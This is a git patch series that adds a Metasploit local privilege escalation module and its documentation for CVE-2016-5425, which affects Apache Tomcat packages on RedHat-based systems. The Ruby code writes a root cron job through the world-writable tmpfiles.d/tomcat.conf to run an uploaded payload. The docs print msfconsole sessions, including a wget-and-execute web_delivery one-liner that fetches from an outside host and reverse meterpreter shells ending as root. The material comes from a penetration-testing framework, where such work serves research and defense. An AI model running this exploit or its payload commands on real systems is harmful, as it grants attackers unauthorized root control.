From 633c58a0ff6334f4535f1692b379f4cf57ea9beb Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 19 Jan 2023 15:28:10 -0500 Subject: [PATCH 1/3] tomcat on rhel priv esc --- .../local/tomcat_rhel_based_temp_priv_esc.md | 145 ++++++++++++++ .../local/tomcat_rhel_based_temp_priv_esc.rb | 184 ++++++++++++++++++ 2 files changed, 329 insertions(+) create mode 100644 documentation/modules/exploit/linux/local/tomcat_rhel_based_temp_priv_esc.md create mode 100644 modules/exploits/linux/local/tomcat_rhel_based_temp_priv_esc.rb diff --git a/documentation/modules/exploit/linux/local/tomcat_rhel_based_temp_priv_esc.md b/documentation/modules/exploit/linux/local/tomcat_rhel_based_temp_priv_esc.md new file mode 100644 index 0000000000..2aa2113ca9 --- /dev/null +++ b/documentation/modules/exploit/linux/local/tomcat_rhel_based_temp_priv_esc.md @@ -0,0 +1,145 @@ +## Vulnerable Application + +This module exploits a vulnerability in RedHat based systems where +improper file permissions are applied to `/usr/lib/tmpfiles.d/tomcat.conf` +for Apache Tomcat versions before 7.0.54-8. This may also work against + +The configuration files in `tmpfiles.d` are used by `systemd-tmpfiles` to manage +temporary files including their creation. + +With this weak permission, we're able to inject commands into `systemd-tmpfiles` +service to write a cron job to execute our payload. + +`systemd-tmpfiles` is executed by default on boot on RedHat-based systems +through `systemd-tmpfiles-setup.service`. Depending on the system in use, +the execution of `systemd-tmpfiles` could also be triggered by other +services, cronjobs, startup scripts etc. + +This module was tested against Tomcat 7.0.54-3 on Fedora 21. + +### Install + +This will install Tomcat 7 (7.0.54-3) on Fedora 21. + +We also change the `tomcat` user's shell to `/bin/bash` to make setting up the priv-esc +easier. + +``` +wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-7.0.54-3.fc21.noarch.rpm +wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-lib-7.0.54-3.fc21.noarch.rpm +wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-collections-3.2.1-20.fc21.noarch.rpm +wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-daemon-1.0.15-8.fc21.x86_64.rpm +wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-dbcp-1.4-16.fc21.noarch.rpm +wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-logging-1.1.3-14.fc21.noarch.rpm +wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-pool-1.6-9.fc21.noarch.rpm +wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-el-2.2-api-7.0.54-3.fc21.noarch.rpm +wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-jsp-2.2-api-7.0.54-3.fc21.noarch.rpm +wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-servlet-3.0-api-7.0.54-3.fc21.noarch.rpm +wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/e/ecj-4.4.0-1.fc21.noarch.rpm +wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/g/geronimo-jta-1.1.1-17.fc21.noarch.rpm +wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/g/geronimo-jms-1.1.1-19.fc21.noarch.rpm +wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/l/log4j12-1.2.17-7.fc21.noarch.rpm +wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/j/javamail-1.5.1-3.fc21.noarch.rpm +rpm -i *.rpm +sudo sed -i 's|/bin/nologin|/bin/bash|g' /etc/passwd +``` + +You can now `su tomcat` and get your starter shell. + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Get an initial shell as the `tomcat` user +4. Do: `use exploit/linux/local/tomcat_rhel_based_temp_priv_esc` +5. Do: `set session #` +6. Do: `run` +7. You should get a root shell. + +## Options + +### WritableDir + +A directory where we can write and execute files. Defaults to `/tmp`. + +## Scenarios + +### Tomcat 7 (7.0.54-3) on Fedora 21 + +Initial shell + +``` +msf6 > use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1 +lhost => 1.1.1.1 +msf6 exploit(multi/script/web_delivery) > set target 7 +target => 7 +msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +msf6 exploit(multi/script/web_delivery) > exploit +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +msf6 exploit(multi/script/web_delivery) > +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Using URL: http://1.1.1.1:8080/fGd5wnh85 +[*] Server started. +[*] Run the following command on the target machine: +wget -qO TbT9zhqH --no-check-certificate http://1.1.1.1:8080/fGd5wnh85; chmod +x TbT9zhqH; ./TbT9zhqH& disown + +msf6 exploit(multi/script/web_delivery) > +[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes) +[*] Sending stage (3045348 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:41270) at 2023-01-19 15:22:23 -0500 + +msf6 exploit(multi/script/web_delivery) > jobs -K +Stopping all jobs... + +[*] Server stopped. +msf6 exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: tomcat +meterpreter > sysinfo +Computer : localhost.domain +OS : Fedora 21 (Linux 3.17.4-301.fc21.x86_64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > background +[*] Backgrounding session 1... +``` + +Priv Esc + +``` +msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/tomcat_rhel_based_temp_priv_esc +[*] Using configured payload linux/x64/meterpreter_reverse_tcp +msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set verbose true +verbose => true +msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set session 1 +session => 1 +msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set lhost 1.1.1.1 +lhost => 1.1.1.1 +msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > exploit + +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Vulnerable app version detected: 7.0.54.pre.3 +[*] Creating backup of /usr/lib/tmpfiles.d/tomcat.conf +[+] Original /usr/lib/tmpfiles.d/tomcat.conf backed up to /root/.msf4/loot/20230119152336_default_2.2.2.2_usrlibtmpfile_530018.txt +[*] Uploading Payload to /tmp/.4ptbf6f4fW +[*] Writing '/tmp/.4ptbf6f4fW' (1068640 bytes) ... +[*] Writing permission elevation into /usr/lib/tmpfiles.d/tomcat.conf +[*] Creating cron job in /etc/cron.d/grPwZ +[+] Waiting 1800 on tmpfiles-setup.service to restart (/usr/bin/systemd-tmpfiles --create) +[-] /etc/cron.d/grPwZ not found, checking in 10 seconds +[*] Waiting on cron to kick the payload (~1 minute) +[+] Deleted /tmp/.4ptbf6f4fW +[+] Deleted /etc/cron.d/grPwZ +[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:41271) at 2023-01-19 15:24:24 -0500 + +meterpreter > getuid +Server username: root +``` \ No newline at end of file diff --git a/modules/exploits/linux/local/tomcat_rhel_based_temp_priv_esc.rb b/modules/exploits/linux/local/tomcat_rhel_based_temp_priv_esc.rb new file mode 100644 index 0000000000..5a52a3fd59 --- /dev/null +++ b/modules/exploits/linux/local/tomcat_rhel_based_temp_priv_esc.rb @@ -0,0 +1,184 @@ +### +# +# This exploit sample shows how an exploit module could be written to exploit +# a bug in a command on a linux computer for priv esc. +# +### + +class MetasploitModule < Msf::Exploit::Local + Rank = ManualRanking + + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Post::Linux::Compile + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation', + 'Description' => %q{ + This module exploits a vulnerability in RedHat based systems where + improper file permissions are applied to /usr/lib/tmpfiles.d/tomcat.conf + for Apache Tomcat versions before 7.0.54-8. This may also work against + + The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage + temporary files including their creation. + + With this weak permission, we're able to inject commands into systemd-tmpfiles + service to write a cron job to execute our payload. + + systemd-tmpfiles is executed by default on boot on RedHat-based systems + through systemd-tmpfiles-setup.service. Depending on the system in use, + the execution of systemd-tmpfiles could also be triggered by other + services, cronjobs, startup scripts etc. + + This module was tested against Tomcat 7.0.54-3 on Fedora 21. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'Dawid Golunski ' # original PoC, analysis, discovery + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'DefaultOptions' => { + 'WfsDelay' => 1800, # 30min + 'payload' => 'linux/x64/meterpreter_reverse_tcp' + }, + 'References' => [ + ['EDB', '40488' ], + ['URL', 'https://access.redhat.com/security/cve/CVE-2016-5425'], + ['URL', 'http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html'], + ['URL', 'https://www.freedesktop.org/software/systemd/man/tmpfiles.d.html'], # general tompfiles.d info + ['CVE', '2016-5425'] + ], + 'DisclosureDate' => '2016-10-10', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS] + } + ) + ) + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]), + ] + end + + # Simplify pulling the writable directory variable + def base_dir + datastore['WritableDir'].to_s + end + + def tomcat_conf + '/usr/lib/tmpfiles.d/tomcat.conf' + end + + def suid?(file) + get_suid_files(file).include? file + end + + def check + package = cmd_exec('rpm -qa | grep "^tomcat\-[678]"') + if package.nil? || package.empty? + return CheckCode::Safe('Unable to execute command to determine installed pacakges') + end + + package = package.sub('tomcat-', '').strip + # fedora based cleanup + package = package.sub(/\.fc\d\d\.noarch/, '') + # rhel/centos based cleanup + package = package.sub(/\.el\d_\d\.noarch/, '') + package = Rex::Version.new(package) + + # The write-up says 6, 7, 8 but doesn't include version numbers. RHEL's writeup says + # only 7 is effected, so we're going to go off their write-up. + if package.to_s.start_with?('7') && package < Rex::Version.new('7.0.54-8') + return CheckCode::Appears("Vulnerable app version detected: #{package}") + end + + CheckCode::Safe("Unexploitable tomcat packages found: #{package}") + end + + def exploit + # Check if we're already root + if is_root? && !datastore['ForceExploit'] + fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override' + end + + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + unless writable? tomcat_conf + fail_with Failure::BadConfig, "#{tomcat_conf} is not writable" + end + + vprint_status("Creating backup of #{tomcat_conf}") + @tomcat_conf_content = read_file(tomcat_conf) + path = store_loot( + tomcat_conf, + 'text/plain', + rhost, + @tomcat_conf_content, + 'tomcat.conf' + ) + print_good("Original #{tomcat_conf} backed up to #{path}") + + # Upload payload executable + payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + vprint_status("Uploading Payload to #{payload_path}") + upload_and_chmodx payload_path, generate_payload_exe + register_file_for_cleanup(payload_path) + + # write in our payload execution + vprint_status("Writing permission elevation into #{tomcat_conf}") + + cron_job = "/etc/cron.d/#{rand_text_alphanumeric(5..10)}" + print_status("Creating cron job in #{cron_job}") + # The POC shows 2 options, a cron answer, and copy bash answer. + # Initially I attempted to copy our payload, set suid and root owner + # however it seemed to need 2 service restart to apply all the permissions. + # I never figured out why it was like that, even chaining copying bash in, then + # launching the payload from the bash instance etc. We opt for the cron + # which may take 1 additional minute, and rely on cron, but is much more stable + cmd_exec("echo 'F #{cron_job} 0644 root root - \"* * * * * root nohup #{payload_path} & \\n\\n\"' >> #{tomcat_conf}") + register_file_for_cleanup(cron_job) + + # we now need systemd-tmpfiles to restart + print_good("Waiting #{datastore['WfsDelay']} on tmpfiles-setup.service to restart (/usr/bin/systemd-tmpfiles --create)") + timer = 0 + while timer < datastore['WfsDelay'] + if file? cron_job + break + end + + print_error("#{cron_job} not found, checking in 10 seconds") + Rex.sleep(10) + timer += 10 + end + + unless file? cron_job + print_error("#{cron_job} not found, exploit aborted") + return + end + + print_status('Waiting on cron to kick the payload (~1 minute)') + end + + def cleanup + unless @tomcat_conf_content.nil? + write_file(tomcat_conf, @tomcat_conf_content) + end + super + end +end From 62d43a6e9677a393cd61ba6412c39760d505de68 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 28 Jan 2023 07:44:53 -0500 Subject: [PATCH 2/3] use exploit retry function --- .../local/tomcat_rhel_based_temp_priv_esc.md | 5 ++++- .../local/tomcat_rhel_based_temp_priv_esc.rb | 18 ++++++------------ 2 files changed, 10 insertions(+), 13 deletions(-) diff --git a/documentation/modules/exploit/linux/local/tomcat_rhel_based_temp_priv_esc.md b/documentation/modules/exploit/linux/local/tomcat_rhel_based_temp_priv_esc.md index 2aa2113ca9..b9f69f78c0 100644 --- a/documentation/modules/exploit/linux/local/tomcat_rhel_based_temp_priv_esc.md +++ b/documentation/modules/exploit/linux/local/tomcat_rhel_based_temp_priv_esc.md @@ -133,7 +133,10 @@ msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > exploit [*] Writing '/tmp/.4ptbf6f4fW' (1068640 bytes) ... [*] Writing permission elevation into /usr/lib/tmpfiles.d/tomcat.conf [*] Creating cron job in /etc/cron.d/grPwZ -[+] Waiting 1800 on tmpfiles-setup.service to restart (/usr/bin/systemd-tmpfiles --create) +[+] Waiting 1800 seconds on tmpfiles-setup.service to restart (/usr/bin/systemd-tmpfiles --create) +[*] Sleeping for 2 seconds before attempting again +[*] Sleeping for 4 seconds before attempting again +[*] Sleeping for 8 seconds before attempting again [-] /etc/cron.d/grPwZ not found, checking in 10 seconds [*] Waiting on cron to kick the payload (~1 minute) [+] Deleted /tmp/.4ptbf6f4fW diff --git a/modules/exploits/linux/local/tomcat_rhel_based_temp_priv_esc.rb b/modules/exploits/linux/local/tomcat_rhel_based_temp_priv_esc.rb index 5a52a3fd59..539aefa96e 100644 --- a/modules/exploits/linux/local/tomcat_rhel_based_temp_priv_esc.rb +++ b/modules/exploits/linux/local/tomcat_rhel_based_temp_priv_esc.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Local Rank = ManualRanking + include Msf::Exploit::Retry include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::File @@ -155,24 +156,17 @@ class MetasploitModule < Msf::Exploit::Local register_file_for_cleanup(cron_job) # we now need systemd-tmpfiles to restart - print_good("Waiting #{datastore['WfsDelay']} on tmpfiles-setup.service to restart (/usr/bin/systemd-tmpfiles --create)") - timer = 0 - while timer < datastore['WfsDelay'] - if file? cron_job - break - end - - print_error("#{cron_job} not found, checking in 10 seconds") - Rex.sleep(10) - timer += 10 + print_good("Waiting #{datastore['WfsDelay']} seconds on tmpfiles-setup.service to restart (/usr/bin/systemd-tmpfiles --create)") + succeeded = retry_until_truthy(timeout: datastore['WfsDelay']) do + file? cron_job end - unless file? cron_job + unless succeeded print_error("#{cron_job} not found, exploit aborted") return end - print_status('Waiting on cron to kick the payload (~1 minute)') + print_status('Waiting on cron to execute the payload (~1 minute)') end def cleanup From 8dfe58e617d6e00a27c1ca8f8db645763f6e1b03 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 13 Mar 2023 14:42:26 -0400 Subject: [PATCH 3/3] review comment Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com> --- modules/exploits/linux/local/tomcat_rhel_based_temp_priv_esc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/tomcat_rhel_based_temp_priv_esc.rb b/modules/exploits/linux/local/tomcat_rhel_based_temp_priv_esc.rb index 539aefa96e..db25864240 100644 --- a/modules/exploits/linux/local/tomcat_rhel_based_temp_priv_esc.rb +++ b/modules/exploits/linux/local/tomcat_rhel_based_temp_priv_esc.rb @@ -156,7 +156,7 @@ class MetasploitModule < Msf::Exploit::Local register_file_for_cleanup(cron_job) # we now need systemd-tmpfiles to restart - print_good("Waiting #{datastore['WfsDelay']} seconds on tmpfiles-setup.service to restart (/usr/bin/systemd-tmpfiles --create)") + print_good("Waiting #{datastore['WfsDelay']} seconds. Run the following command on the target machine: /usr/bin/systemd-tmpfiles --create - this is required to restart the tmpfiles-setup.service") succeeded = retry_until_truthy(timeout: datastore['WfsDelay']) do file? cron_job end